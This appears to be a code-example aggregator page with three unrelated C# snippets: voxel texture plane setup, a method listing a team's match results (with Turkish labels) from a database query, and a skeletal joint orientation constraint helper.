            Separator plane1 = _texture.makeDragerAndTexture(voxels, Texture.Planes.XY_PLANE);
            Separator plane2 = _texture.makeDragerAndTexture(voxels, Texture.Planes.YZ_PLANE);

            _root.addChild(plane1);
            _root.addChild(plane2);
            _root.addChild(_texture.createKeyboardCallbackObject(_viewer.Parent_HWND));
        }
Example #32
0
        protected override void OnData()
        {
            base.OnData();

            CT ct = Db.FromId <CT>((ulong)CToNo);

            Hdr  = $"{ct.CC.Ad} ► {ct.Ad} ► Müsabakaları";
            CTAd = ct.Ad;

            var cets = Db.SQL <CET>("select r from CET r where r.HCT = ? or r.GCT = ? order by r.Trh", ct, ct);

            foreach (var cet in cets)
            {
                if (cet.HCT.GetObjectNo() == ct.GetObjectNo())  // Kendisi Home. Rakip Guest
                {
                    var hcet = new CETsElementJson
                    {
                        CEToNo = (long)cet.GetObjectNo(),
                        Tarih  = cet.Tarih,

                        RkpCToNo = (long)cet.GCToNo,
                        RkpCTAd  = cet.GCTAd,
                        RkpPW    = $"{cet.GPW:#}",
                        RkpKW    = $"{cet.GKW:#}",
                        RkpSMW   = $"{cet.GSMW:#}",
                        RkpDMW   = $"{cet.GDMW:#}",

                        PW  = $"{cet.HPW:#}",
                        KW  = $"{cet.HKW:#}",
                        SMW = $"{cet.HSMW:#}",
                        DMW = $"{cet.HDMW:#}",

                        WL = cet.HPW > cet.GPW ? "W" : "L"
                    };
                    CETs.Add(hcet);
                }
                else
                {
                    var gcet = new CETsElementJson
                    {
                        CEToNo = (long)cet.GetObjectNo(),
                        Tarih  = cet.Tarih,

                        RkpCToNo = (long)cet.HCToNo,
                        RkpCTAd  = cet.HCTAd,
                        RkpPW    = $"{cet.HPW:#}",
                        RkpKW    = $"{cet.HKW:#}",
                        RkpSMW   = $"{cet.HSMW:#}",
                        RkpDMW   = $"{cet.HDMW:#}",

                        PW  = $"{cet.GPW:#}",
                        KW  = $"{cet.GKW:#}",
                        SMW = $"{cet.GSMW:#}",
                        DMW = $"{cet.GDMW:#}",

                        WL = cet.GPW > cet.HPW ? "W" : "L"
                    };
                    CETs.Add(gcet);
                }
            }
        }
	// AddJointConstraint - Adds a joint constraint to the system.  
	private void AddBoneOrientationConstraint(int thisJoint, CT consType, Vector3 axis, float angleMin, float angleMax)
	{
		int index = FindBoneOrientationConstraint(thisJoint);
		
		BoneOrientationConstraint jc = index >= 0 ? jointConstraints[index] : new BoneOrientationConstraint(thisJoint);
		
		if(index < 0)
		{
			index = jointConstraints.Count;
			jointConstraints.Add(jc);
		}
		
		AxisOrientationConstraint constraint = new AxisOrientationConstraint(consType, axis, angleMin, angleMax);
		jc.axisConstrainrs.Add(constraint);
		
		jointConstraints[index] = jc;
	}